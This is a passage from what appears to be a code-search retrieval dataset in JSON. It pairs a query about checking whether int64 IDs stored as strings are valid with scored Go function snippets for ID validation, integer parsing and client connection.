{\n\t\t\terrCount++\n\t\t\tcontinue\n\t\t}\n\t\tclient.Conns = append(client.Conns, c)\n\t}\n\n\tif errCount == len(addrs) {\n\t\treturn errors.Errorf(\"all connection failed\")\n\t}\n\tclient.lastLeader = 0\n\treturn nil\n}", "title": "" }, { "docid": "4e4e89e0eabda5ed7805b75719f365f4", "score": "0.56748474", "text": "func (c *Client) Connect() error {\n\t// Retrieve AuthToken\n\tauthToken, err := c.GetAuthToken()\n\tif err != nil {\n\t\treturn err\n\t}\n\tlogrus.Debugf(\"Auth-token: %q\", authToken)\n\n\t// Open WebSocket connection\n\ttarget, header, err := GetWebsocketURL(c.URL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif c.WSOrigin != \"\" {\n\t\theader.Add(\"Origin\", c.WSOrigin)\n\t}\n\tlogrus.Debugf(\"Connecting to websocket: %q\", target.String())\n\tif c.SkipTLSVerify {\n\t\tc.Dialer.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\t}\n\tif c.UseProxyFromEnv {\n\t\tc.Dialer.Proxy = http.ProxyFromEnvironment\n\t}\n\tconn, _, err := c.Dialer.Dial(target.String(), *header)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.Conn = conn\n\tc.Connected = true\n\n\t// Pass arguments and auth-token\n\tquery, err := GetURLQuery(c.URL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tquerySingle := querySingleType{\n\t\tArguments: \"?\" + query.Encode(),\n\t\tAuthToken: authToken,\n\t}\n\tjson, err := json.Marshal(querySingle)\n\tif err != nil {\n\t\tlogrus.Errorf(\"Failed to parse init message %v\", err)\n\t\treturn err\n\t}\n\t// Send Json\n\tlogrus.Debugf(\"Sending arguments and auth-token\")\n\terr = c.write(json)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Initialize message types for gotty\n\tc.initMessageType()\n\n\tgo c.pingLoop()\n\n\treturn nil\n}", "title": "" }, { "docid": "0a4c2c89654da2cb252fb845d88a3764", "score": "0.5661343", "text": "func (nc *NewsClient) Connect(ctx context.Context) error {\n\tu, err := nc.constructURL()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nc.connect(ctx, u)\n}", "title": "" }, { "docid": "bc32ef9db37a958a5bfeb9337951a357", "score": "0.565669", "text": "func (this *channel) Connect() (int, []byte, error) {\n\tpayload := &PayloadHeader{Type: \"CONNECT\"}\n\tid := this.nextMsg()\n\tdata, err := this.encode(CAST_DEFAULT_SENDER, CAST_DEFAULT_RECEIVER, CAST_NS_CONN, payload.WithId(id))\n\treturn id, data, err\n}", "title": "" }, { "docid": "613fdc53f31b80ea57656e50641523d9", "score": "0.5651314", "text": "func Connect(format string, args ...interface{}) {\n\tOn(func() bool { return true }, CONN, format, args...)\n}", "title": "" } ]
73a43236af12b695c375df25ef459e88
We store int64 ids in strings. Because of that invalid ids can have two values: "" and "0". Check if the given int64 id is valid.
[ { "docid": "b03da0528f5a3a1495ca1717f47756f9", "score": "0.71449846", "text": "func IsIntIDValid(id string) bool {\n\treturn id != \"\" && id != \"0\"\n}", "title": "" } ]
[ { "docid": "ca4f49d0ea5e097b6e163b8b81096c5d", "score": "0.7069643", "text": "func validateID(id json.RawMessage) error {\n\tif len(id) == 0 {\n\t\treturn fmt.Errorf(`invalid \"id\": empty`)\n\t}\n\tb := id[0]\n\tif b == 'n' || // null\n\t\tb == '\"' || // string\n\t\tisNumber(b) {\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(`invalid \"id\": not a number, string, or null`)\n}", "title": "" }, { "docid": "45ae9c60a26bde0868363b661ce70af2", "score": "0.680904", "text": "func isIDValid(idFormatRegex *regexp.Regexp, normalizedID string) bool {\n\treturn idFormatRegex.MatchString(normalizedID)\n}", "title": "" }, { "docid": "6591fcb456a5f43d6f7b1449ad92b25d", "score": "0.6801377", "text": "func IsStringIDValid(_id string) bool {\n\treturn bson.IsObjectIdHex(_id)\n}", "title": "" }, { "docid": "ad066378abd1e6ccc5fb7a57ff168092", "score": "0.67780614", "text": "func Valid(id string) bool {\n\tid = strings.ReplaceAll(id, \" \", \"\")\n\tif len(id) < 2 {\n\t\treturn false\n\t}\n\ttotal := 0\n\toffset := len(id)%2 == 0\n\tfor _, digit := range id {\n\t\tif value, err := strconv.Atoi(string(digit)); err == nil {\n\t\t\tif offset {\n\t\t\t\tvalue = value * 2\n\t\t\t}\n\t\t\tif value > 9 {\n\t\t\t\tvalue = value - 9\n\t\t\t}\n\t\t\toffset = !offset\n\t\t\ttotal += value\n\t\t} else {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn total%10 == 0\n}", "title": "" }, { "docid": "3a51f14b1535d5455b3e41d3486961c6", "score": "0.6680695", "text": "func CheckIDFormat(ComponentID string) bool {\n\n if len(ComponentID) != 9 {\n\n // check the length of the ComponentID is nine\n return false\n\n } else if _, err := strconv.Atoi(ComponentID); err != nil {\n\n // check the ComponentID are all digits\n return false\n\n } else {\n\n // now everything looks fine\n return true\n\n }\n\n}", "title": "" }, { "docid": "43857dd4c41182a72810106827b5cd33", "score": "0.6590174", "text": "func IsValidID(s string) bool {\n\treturn bson.IsObjectIdHex(s)\n}", "title": "" }, { "docid": "63350d645fff222dc735908c9bcc4ea3", "score": "0.65319455", "text": "func IsID(v string) bool {\n\tisNotDigit := func(c rune) bool { return c < '0' || c > '9' }\n\tvalue := strings.TrimSpace(v)\n\treturn strings.IndexFunc(value, isNotDigit) <= -1\n}", "title": "" }, { "docid": "aa4ee0391e445f7f74b75349a1d5dc1d", "score": "0.63868177", "text": "func ValidID(id string) bool {\n\treturn validID.MatchString(id)\n}", "title": "" }, { "docid": "9b29096aa6598bdd660b98abb1b3f656", "score": "0.6346661", "text": "func (diagram *PipelineDiagram) safeId(id string) string {\n\tvar b strings.Builder\n\tfor _, r := range id {\n\t\tif unicode.IsLetter(r) || unicode.IsNumber(r) {\n\t\t\tb.WriteRune(r)\n\t\t}\n\t}\n\treturn b.String()\n}", "title": "" }, { "docid": "ea2c79c6c94bda933aa78e58f4aebaca", "score": "0.6277179", "text": "func ValidateId(id string) error {\n\treturn hibe_noamd64.ValidateId(id)\n}", "title": "" }, { "docid": "c403ee800e93b95072a152d4b232f857", "score": "0.62714154", "text": "func IsValidID(id string) bool {\n\treturn idRegexp.MatchString(id)\n}", "title": "" }, { "docid": "2c48f0cba2d9d772c01ff21898e01574", "score": "0.62605625", "text": "func checkID(server_id_frame int, client_id_frame string) bool {\n var this_id_frame string = fmt.Sprintf(\"%08b\", server_id_frame)\n return eqStr(this_id_frame, client_id_frame)\n}", "title": "" }, { "docid": "acfd79a8b15ab9cd09c64ca374c15bb4", "score": "0.6260319", "text": "func parseId(s string) (_id interface{}, ok bool) {\n\tok = true\n\td, e := hex.DecodeString(s)\n\tif e != nil || len(d) != 12 {\n\t\t_id = s\n\t\tif len(s) == 0 {\n\t\t\tok = false\n\t\t\treturn\n\t\t}\n\t\tif v, err := strconv.Atoi(s); err == nil {\n\t\t\t_id = v\n\t\t}\n\t} else {\n\t\t_id = bson.ObjectIdHex(s)\n\t}\n\treturn\n}", "title": "" }, { "docid": "8588316d41b6c290a1c1b0e069abc664", "score": "0.62586325", "text": "func stringID(id int64) string {\n\treturn strconv.FormatInt(id, 32)\n}", "title": "" }, { "docid": "8d262c9f2eccb02645fce31e5edfa2b3", "score": "0.6245549", "text": "func TestIsValidIdType(t *testing.T) {\n\tfor _, tt := range idtests {\n\t\tres := btcjson.IsValidIdType(tt.testID[0])\n\t\tif res != tt.pass {\n\t\t\tt.Errorf(\"Incorrect type result %v.\", tt)\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "8f751ace2fc55b501b1fa01dd6ee682b", "score": "0.6143564", "text": "func ValidateID(id string) error {\n\tif ok := validHex.MatchString(id); !ok {\n\t\treturn fmt.Errorf(\"image ID '%s' is invalid \", id)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a4cdff0c8f97b1f2c059217954dffcbe", "score": "0.60854596", "text": "func ValidateID(clientID []byte) bool {\n\tif len(clientID) < MinClientIDLength || len(clientID) > MaxClientIDLength {\n\t\treturn false\n\t}\n\t// letters, digits, ValidChars = '-', '_', ' '\n\tfor _, c := range string(clientID) {\n\t\tif (c < 'a' || c > 'z') && (c < 'A' || c > 'Z') && (c < '0' || c > '9') && !strings.ContainsRune(ValidChars, c) {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "title": "" }, { "docid": "913b8fb5b62c478de7c370744a1d50b2", "score": "0.6070577", "text": "func parseBuildID(idStr string) (id int64, err error) {\n\t// Verify it is an int64.\n\tid, err = strconv.ParseInt(idStr, 10, 64)\n\tif err != nil {\n\t\terr = errors.Annotate(err, \"invalid id\").Tag(grpcutil.InvalidArgumentTag).Err()\n\t}\n\treturn\n}", "title": "" }, { "docid": "602667d07955da3d7571daf00b700108", "score": "0.6056416", "text": "func (r Rule) validateID() error {\n\t// cannot be longer than 255 characters\n\tif len(r.ID) > 255 {\n\t\treturn fmt.Errorf(\"ID must be less than 255 characters\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "529cb7124a7abc0e016e61c7f334995e", "score": "0.60126024", "text": "func ValidateDataNetworkID(input interface{}, key string) (warnings []string, errors []error) {\n\tv, ok := input.(string)\n\tif !ok {\n\t\terrors = append(errors, fmt.Errorf(\"expected %q to be a string\", key))\n\t\treturn\n\t}\n\n\tif _, err := ParseDataNetworkID(v); err != nil {\n\t\terrors = append(errors, err)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "2c35a667980d4c11cc3c7e57f715461c", "score": "0.6007846", "text": "func ParseInt64For(service, resource string, s string) (idValue int64, err error) {\n\tid, err := Parse(s)\n\tif err != nil {\n\t\treturn\n\t}\n\tif id.Service != service || id.Resource != resource {\n\t\terr = fmt.Errorf(\"expected service/resource of '%s/%s', got '%s/%s'\", service, resource, id.Service, id.Resource)\n\t\treturn\n\t}\n\tidValue, ok := id.Int64()\n\tif !ok {\n\t\terr = fmt.Errorf(\"expected Int64 ID, got %v\", id.Type)\n\t\treturn\n\t}\n\treturn\n}", "title": "" }, { "docid": "f38cdb3c5532a3fe9cb6385ff367cadd", "score": "0.5968688", "text": "func parseTimestampID(id string) (ts int64, ok bool) {\n\tts = -1\n\tok = false\n\tif len(id) <= 13 {\n\t\tif i, err := strconv.ParseInt(id, 10, 64); err == nil {\n\t\t\tts = i\n\t\t\tok = true\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "254edb868b0cca48e81c2850146b0620", "score": "0.5961597", "text": "func parseID(id interface{}) (string, error) {\n\tswitch v := id.(type) {\n\tcase int:\n\t\treturn strconv.Itoa(v), nil\n\tcase string:\n\t\treturn v, nil\n\tdefault:\n\t\treturn \"\", fmt.Errorf(\"invalid ID type %#v, the ID must be an int or a string\", id)\n\t}\n}", "title": "" }, { "docid": "21f1f80024ec52a47429e446c925b5f3", "score": "0.5960765", "text": "func IDAsStringToInt(s string) int64 {\n\ti, err := strconv.ParseInt(s, 10, 64)\n\tif err != nil {\n\t\treturn BadAlertID\n\t}\n\treturn i\n}", "title": "" }, { "docid": "4f93032f3b52b19b672ea065a2c14400", "score": "0.595878", "text": "func (id ID) Valid() bool { return id > math.MaxUint32 && id.Version() == version }", "title": "" }, { "docid": "115416e77f48c075828d21b04fd3be81", "score": "0.5957147", "text": "func isValidIdField(typ reflect.Type) (bool, FieldKind) {\n\ti := reflect.New(typ).Elem().Interface()\n\n\tswitch i.(type) {\n\tcase string, int, int8, int16, int32, int64, uint, uint8, uint16,\n\t\tuint32, uint64:\n\t\treturn true, primitive\n\t}\n\n\tif (isTextMarshaler(typ) || pointerTypeIsTextMarshaler(typ)) &&\n\t\t(isTextUnmarshaler(typ) || pointerTypeIsTextUnmarshaler(typ)) {\n\t\tkind := textMarshaler\n\t\tif isUUIDField(typ) {\n\t\t\tkind = uuid\n\t\t}\n\t\treturn true, kind\n\t}\n\n\treturn false, 0\n}", "title": "" }, { "docid": "241d85a760cd753198bf3aac93aa662a", "score": "0.59167534", "text": "func ValidateQuotaID(input interface{}, key string) (warnings []string, errors []error) {\n\tv, ok := input.(string)\n\tif !ok {\n\t\terrors = append(errors, fmt.Errorf(\"expected %q to be a string\", key))\n\t\treturn\n\t}\n\n\tif _, err := ParseQuotaID(v); err != nil {\n\t\terrors = append(errors, err)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "7475af816c26180e852715fde5ff6926", "score": "0.5910462", "text": "func (c *Basecampclient) IDValid() bool {\n\tif c.id == 0 {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "b05344954ae5943c71702935603d763d", "score": "0.588376", "text": "func (s *Server) IsValidID(Id uint32, operation string) (error, bool) {\n\tif Id == 0 {\n\t\ts.metrics.InvalidRequestParametersCounter.WithLabelValues(operation).Inc()\n\t\terr := service_errors.ErrInvalidInputArguments\n\t\ts.logger.Error(err, \"invalid input parameters. please specify a valid user id\")\n\t\treturn err, false\n\t}\n\n\treturn nil, true\n}", "title": "" }, { "docid": "e35bda16cd20fd952c1b8e66690c4d7c", "score": "0.5869033", "text": "func ValidMessageID(id string) bool {\n id_len := len(id)\n\n if id_len < 5 {\n return false \n }\n\n at_idx := strings.Index(id, \"@\")\n if at_idx < 3 {\n return false\n }\n \n for idx, c := range id {\n if idx == 0 {\n if c == '<' {\n continue\n }\n } else if idx == id_len - 1 {\n if c == '>' {\n continue\n }\n } else {\n if idx == at_idx {\n continue\n }\n if c >= 'a' && c <= 'z' {\n continue\n }\n if c >= 'A' && c <= 'Z' {\n continue\n }\n if c >= '0' && c <= '9' {\n continue\n }\n if c == '.' {\n continue\n }\n }\n log.Printf(\"bad message ID: len=%d %s , invalid char at %d: %c\", id_len, id, idx, c)\n return false\n }\n return true\n}", "title": "" }, { "docid": "88da222f857e01d03d5d82b851785316", "score": "0.5860543", "text": "func (externalResponse ExternalResponse) IsIDValid() bool {\n\tr := regexp.MustCompile(\"^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$\")\n\treturn r.MatchString(externalResponse.ID)\n}", "title": "" }, { "docid": "0969a0299078a67e7b56bd9c78188b05", "score": "0.58585125", "text": "func IsInt64(s string) bool {\n\tif _, err := strconv.ParseInt(strings.TrimSpace(s), 10, 64); err != nil {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "93826bdd48c1609b9abb4ed012ea7886", "score": "0.58258766", "text": "func (id ObjectId) Valid() bool {\n\treturn len(id) == 12\n}", "title": "" }, { "docid": "93826bdd48c1609b9abb4ed012ea7886", "score": "0.58258766", "text": "func (id ObjectId) Valid() bool {\n\treturn len(id) == 12\n}", "title": "" }, { "docid": "d314d37533b339e0d7dac93863d45e23", "score": "0.58102", "text": "func validateChainID(chainID string) error {\n\tre, _ := regexp.Compile(allowedChars)\n\t// Length\n\tif len(chainID) <= 0 {\n\t\treturn fmt.Errorf(\"chain ID illegal, cannot be empty\")\n\t}\n\tif len(chainID) > maxLength {\n\t\treturn fmt.Errorf(\"chain ID illegal, cannot be longer than %d\", maxLength)\n\t}\n\t// Illegal name\n\tif _, ok := illegalNames[chainID]; ok {\n\t\treturn fmt.Errorf(\"name '%s' for chain ID is not allowed\", chainID)\n\t}\n\t// Illegal characters\n\tmatched := re.FindString(chainID)\n\tif len(matched) != len(chainID) {\n\t\treturn fmt.Errorf(\"Chain ID '%s' contains illegal characters\", chainID)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "1d717a0005d19aacb86b1bd05f0d652b", "score": "0.57618576", "text": "func TestSteamID64(t *testing.T) {\n\tsid := \"76561198029304414\"\n\tid, err := NewId(sid)\n\tif err != nil {\n\t\tt.Fatal(err.Error())\n\t}\n\tif id.ToUint64() != uint64(76561198029304414) {\n\t\tt.Fatalf(\"%d != 76561198029304414\", id.ToUint64())\n\t}\n}", "title": "" }, { "docid": "4592e32aacb0e0bf703898836d1d55e4", "score": "0.5747459", "text": "func (id NodeID) Validate() error {\n\tswitch {\n\tcase len(id) == 0:\n\t\treturn errors.New(\"empty node ID\")\n\n\tcase len(id) != 2*NodeIDByteLength:\n\t\treturn fmt.Errorf(\"invalid node ID length %d, expected %d\", len(id), 2*NodeIDByteLength)\n\n\tcase !reNodeID.MatchString(string(id)):\n\t\treturn fmt.Errorf(\"node ID can only contain lowercased hex digits\")\n\n\tdefault:\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "1746cc6c8a121740648d616c9b61f678", "score": "0.5743577", "text": "func ValidateOperationID(input interface{}, key string) (warnings []string, errors []error) {\n\tv, ok := input.(string)\n\tif !ok {\n\t\terrors = append(errors, fmt.Errorf(\"expected %q to be a string\", key))\n\t\treturn\n\t}\n\n\tif _, err := ParseOperationID(v); err != nil {\n\t\terrors = append(errors, err)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "c9f0662adc182fa64206604c2126a120", "score": "0.57373345", "text": "func IsValidBigInt(s string) bool {\n\tif s == \"\" {\n\t\treturn false\n\t}\n\n\tb, success := big.NewInt(0).SetString(s, 10)\n\tif !success {\n\t\treturn false\n\t}\n\n\tif b.Cmp(big.NewInt(0)) == -1 {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "f85dcd52fde29622c01bf80134cbe85f", "score": "0.5734511", "text": "func ValidateCredentialID(input interface{}, key string) (warnings []string, errors []error) {\n\tv, ok := input.(string)\n\tif !ok {\n\t\terrors = append(errors, fmt.Errorf(\"expected %q to be a string\", key))\n\t\treturn\n\t}\n\n\tif _, err := ParseCredentialID(v); err != nil {\n\t\terrors = append(errors, err)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "11acce08e50bda28548a57475cdfc997", "score": "0.57104313", "text": "func TestIDFromMsg(t *testing.T) {\n\tmsg := data.Message{\n\t\tID: \"id\",\n\t\tCreated: time.Unix(1234567890, 1),\n\t}\n\twant := \"1234567890000000001|id\"\n\tgot := idForMsg(&msg)\n\tif got != want {\n\t\tt.Errorf(\"idForMsg(%+v) = %q, want %q\", msg, got, want)\n\t}\n}", "title": "" }, { "docid": "470684d01337eea3c8ea244fb88e55fd", "score": "0.5704826", "text": "func (u *User) IDStr() string {\n\treturn strconv.FormatInt(u.ID, 10)\n}", "title": "" }, { "docid": "d44f62410ddd3ba90b7f6074ed794a60", "score": "0.5704626", "text": "func Int64(s string) (interface{}, bool) {\n\tvar err error\n\tvar val int64\n\tif val, err = strconv.ParseInt(s, 10, 64); err != nil {\n\t\treturn nil, false\n\t}\n\treturn int64(val), true\n}", "title": "" }, { "docid": "5b7bdabed4de1950999b694c617d9234", "score": "0.5697464", "text": "func (id ID) String() string { return strconv.FormatUint(uint64(id), 10) }", "title": "" }, { "docid": "3a4282b4f464f22ab70840b5260cc2d8", "score": "0.568597", "text": "func validateIdentifier(annotation string, containerIdentifiers map[string]struct{}, idToValidate string) error {\n\tif _, found := containerIdentifiers[idToValidate]; !found {\n\t\tvalidIDs := make([]string, 0, len(containerIdentifiers))\n\t\tfor validID := range containerIdentifiers {\n\t\t\tvalidIDs = append(validIDs, validID)\n\t\t}\n\t\tsort.Strings(validIDs)\n\t\treturn fmt.Errorf(\"annotation %s is invalid: %s doesn't match a container identifier %v\", annotation, idToValidate, validIDs)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7dad7558dd504b0494c808068159da51", "score": "0.56634337", "text": "func (id ID) IsValid() bool {\n\treturn len(id) == IDSize\n}", "title": "" }, { "docid": "45c711b581c83e36d05aaa5d8eabbebf", "score": "0.5663016", "text": "func (acc *Account) IsIDValid() bool {\n\treturn acc.id != ID(0)\n}", "title": "" }, { "docid": "15fe8e976f3a86d3080b5f37ab3d0d0a", "score": "0.55933577", "text": "func (self *form) Int64(id string) int64 {\n var rtn int64 = 0\n self.c.Request.ParseForm()\n var raw, found = self.c.Request.Form[id]\n if found {\n var _, err = fmt.Sscanf(raw[0], \"%d\", &rtn)\n if err != nil {\n n.Log(\"Failed reading incoming form param: %s is not int64\", raw[0])\n n.Log(err.Error())\n }\n }\n return rtn\n}", "title": "" }, { "docid": "521a0f5a8634dc6cf9edcf2acfe425ed", "score": "0.5593019", "text": "func IsValidTokenID(value int) bool {\n\treturn value < int(TokenENDLIST)\n}", "title": "" }, { "docid": "8268366f333a37f8a900be97e190af1a", "score": "0.5588013", "text": "func isAvailableId(id string) bool {\n\tfor _, v := range availableIds {\n\t\tif v == id {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "ebc02a5110cfa88ca802520a459fac26", "score": "0.558203", "text": "func (s *Store) isValidSessionID(sess *simplesessions.Session, id string) bool {\n\treturn len(id) == sessionIDLen && sess.IsValidRandomString(id)\n}", "title": "" }, { "docid": "0b8faf895f6be3bd8dfe9bc6b957d65e", "score": "0.5574377", "text": "func MatchID64(id ...int64) query.Rule {\n\tswitch len(id) {\n\tcase 0:\n\t\treturn False\n\tcase 1:\n\t\treturn Eq(\"id\", id[0])\n\tdefault:\n\t\treturn New(\"id\", match.In, id)\n\t}\n}", "title": "" }, { "docid": "35fc25f4515bec618bcf36d49f655c92", "score": "0.55705553", "text": "func EnsureID(v interface{}) string {\n\tfilterFunc := func(name string) bool {\n\t\treturn strings.EqualFold(name, \"id\")\n\t}\n\n\tvType := reflect.TypeOf(v)\n\tvValue := reflect.ValueOf(v)\n\tif vType.Kind() == reflect.Ptr {\n\t\tvType = vType.Elem()\n\t\tvValue = vValue.Elem()\n\t}\n\n\tif vType.Kind() == reflect.Struct {\n\t\tif structField, ok := vType.FieldByNameFunc(filterFunc); ok {\n\t\t\tif structField.Type.Kind() == reflect.String {\n\t\t\t\tfValue := vValue.FieldByNameFunc(filterFunc)\n\t\t\t\tif fValue.Interface().(string) == \"\" {\n\t\t\t\t\tnewID := GenerateID()\n\n\t\t\t\t\tfValue.SetString(newID)\n\t\t\t\t\treturn newID\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn \"\"\n}", "title": "" }, { "docid": "761759b7bacfb5c9570f22b4be857ada", "score": "0.55516756", "text": "func isSeriesIdValid(seriesId int) bool {\n\tif seriesId < 0 {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "d31f9fccfe621afea289c2b211565aa3", "score": "0.55459344", "text": "func idStr(sectorID uint64) string {\n\treturn strconv.FormatUint(sectorID, 10)\n}", "title": "" }, { "docid": "11117f8294d80b5aeaef1ae1a3c4abc1", "score": "0.5534898", "text": "func Test_BareEntityID(t *testing.T) {\n\n\ttype idTest struct {\n\t\trawId string\n\t\texpected string\n\t}\n\n\tidTestList := []idTest{\n\t\t{\n\t\t\t\"urn:vcloud:catalog:97384890-180c-4563-b9b7-0dc50a2430b0\",\n\t\t\t\"97384890-180c-4563-b9b7-0dc50a2430b0\",\n\t\t},\n\t\t{\n\t\t\t\"urn:vcloud:org:deadbeef-0000-0000-0000-000000000000\",\n\t\t\t\"deadbeef-0000-0000-0000-000000000000\",\n\t\t},\n\t\t{\n\t\t\t\"urn:vcloud:task:11111111-0000-0000-0000-000000000000\",\n\t\t\t\"11111111-0000-0000-0000-000000000000\",\n\t\t},\n\t\t{\n\t\t\t\"urn:vcloud:task:aaaaaaaa-bbbb-ccc0-dddd-eeeeeeeeeeee\",\n\t\t\t\"aaaaaaaa-bbbb-ccc0-dddd-eeeeeeeeeeee\",\n\t\t},\n\t\t{\n\t\t\t\"urn:vcloud:vdc:72fefde7-4fed-45b8-a774-79b72c870325\",\n\t\t\t\"72fefde7-4fed-45b8-a774-79b72c870325\",\n\t\t},\n\t\t{\n\t\t\t\"urn:composite-name:vdc:72fefde7-4fed-45b8-a774-79b72c870325\",\n\t\t\t\"72fefde7-4fed-45b8-a774-79b72c870325\",\n\t\t},\n\t\t{\n\t\t\t\"urn:underscored_name:vdc:72fefde7-4fed-45b8-a774-79b72c870325\",\n\t\t\t\"72fefde7-4fed-45b8-a774-79b72c870325\",\n\t\t},\n\t\t{\n\t\t\t\"urn:mixed_name-with-dashes:double-string:72fefde7-4fed-45b8-a774-79b72c870325\",\n\t\t\t\"72fefde7-4fed-45b8-a774-79b72c870325\",\n\t\t},\n\t}\n\tidTestExpectedToFailList := []idTest{\n\t\t{\n\t\t\t\"missing:one:digit:12345678-1234-1234-1234-12345678901\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"missing:one:digit:1234567-1234-1234-1234-123456789012\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"missing:one:digit:12345678-123-1234-1234-123456789012\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"too:many:digits:123456789-1234-1234-1234-123456789012\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"too:many:digits:12345678-12345-1234-1234-123456789012\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"too:many:digits:12345678-1234-1234-1234-1234567890123\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"unexpected:letters:in_ID:abcdefgh-1234-1234-1234-123456789012\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"unexpected:letters:in_ID:abcdef00-x234-w234-1234-123456789012\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"unexpected:letters:in,prefix:12345678-1234-1234-1234-123456789012\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"unexpected:letters:in/prefix:12345678-1234-1234-1234-123456789012\",\n\t\t\t\"\",\n\t\t},\n\t}\n\n\tfor _, it := range idTestList {\n\t\tbareId, err := getBareEntityUuid(it.rawId)\n\t\tif err != nil {\n\t\t\tt.Logf(\"error extracting bare ID: %s\", err)\n\t\t\tt.Fail()\n\t\t}\n\t\tif bareId == it.expected {\n\t\t\tif testVerbose {\n\t\t\t\tt.Logf(\"ID '%s': found '%s' as expected\", it.rawId, it.expected)\n\t\t\t}\n\t\t} else {\n\t\t\tt.Logf(\"error getting bare ID: expected '%s' but found '%s'\", it.expected, bareId)\n\t\t\tt.Fail()\n\t\t}\n\t}\n\tfor _, it := range idTestExpectedToFailList {\n\t\tbareId, err := getBareEntityUuid(it.rawId)\n\t\tif err == nil {\n\t\t\tt.Logf(\"unexpected success with raw ID %s\", it.rawId)\n\t\t\tt.Fail()\n\t\t}\n\t\tif bareId == it.expected {\n\t\t\tif testVerbose {\n\t\t\t\tt.Logf(\"ID '%s': found '%s' as expected\", it.rawId, it.expected)\n\t\t\t}\n\t\t} else {\n\t\t\tt.Logf(\"error getting bare ID: expected '%s' but found '%s'\", it.expected, bareId)\n\t\t\tt.Fail()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7bcb971eca62f64bac74b0bf24868aee", "score": "0.55321354", "text": "func IsIDCard(idCard string) bool {\n\tvar idCardReg string\n\tif len(idCard) == 15 {\n\t\tidCardReg = `^[1-9]\\d{5}\\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\\d{2}[0-9Xx]$`\n\t} else {\n\t\tidCardReg = `^[1-9]\\d{5}(18|19|([23]\\d))\\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$`\n\t}\n\treturn regexp.MustCompile(idCardReg).MatchString(idCard)\n}", "title": "" }, { "docid": "2d7dadd10cd1627d263d04daadb27ff5", "score": "0.5512658", "text": "func (id TraceID) Validate() error {\n\tif id.isZero() {\n\t\treturn errZeroTraceID\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "be8d0e1d1dfa90c48039319aa5c72d0c", "score": "0.5509592", "text": "func TestValidateIDModifier(t *testing.T) {\n\ttestValidateIDModifier(t)\n}", "title": "" }, { "docid": "06b93202a1d6d55111104d884de74903", "score": "0.5500781", "text": "func mustGetID(d *schema.ResourceData) int {\n\tid, err := strconv.Atoi(d.Id())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "title": "" }, { "docid": "cd8414f6bd865f32012b47c25b16f979", "score": "0.5496927", "text": "func StrToInt64(s string) int64 {\n\tif v, e := strconv.ParseInt(s, 10, 64); e != nil {\n\t\treturn 0\n\t} else {\n\t\treturn v\n\t}\n}", "title": "" }, { "docid": "30e1e2e8c5136351f905b8cd9c69f24b", "score": "0.5495133", "text": "func isNotValidIDChar(char byte) bool {\n\treturn isNotAlpha(char) && isNotDigit(char) && char != '.' && char != '-'\n}", "title": "" }, { "docid": "ada42f9f36506f6dcfec99e73678e187", "score": "0.54900676", "text": "func (self *url) Int64(id string) int64 {\n var rtn int64 = 0\n var raw, found = self.c.vars[id]\n if found {\n var _, err = fmt.Sscanf(raw, \"%d\", &rtn)\n if err != nil {\n n.Log(\"Failed reading incoming url param: %s is not int64\", raw[0])\n n.Log(err.Error())\n }\n }\n return rtn\n}", "title": "" }, { "docid": "975d602e4c0f94b1e5e0471fb6a4eaab", "score": "0.54846233", "text": "func MustParseStrInt64(data string) int64 {\n\tvalue, err := ParseStrInt64(data)\n\tif err != nil {\n\t\tbuf := make([]byte, 4096)\n\t\truntime.Stack(buf, true)\n\t\tlog.Fatalf(\"parse to int64 failed, data=<%s> errors:\\n %+v \\n %s\",\n\t\t\tdata,\n\t\t\terr,\n\t\t\tbuf)\n\t}\n\n\treturn value\n}", "title": "" }, { "docid": "a15d00f4c130ffa8aa68eb49f2f213ee", "score": "0.5484151", "text": "func parseArgsStringAndID(args []string) (string, int64, error) {\n\tif len(args) == 2 {\n\t\tn, err := strconv.ParseInt(args[1], 0, 64)\n\t\tif err != nil {\n\t\t\treturn args[0], 0, err\n\t\t}\n\t\treturn args[0], n, nil\n\t}\n\tif len(args) == 1 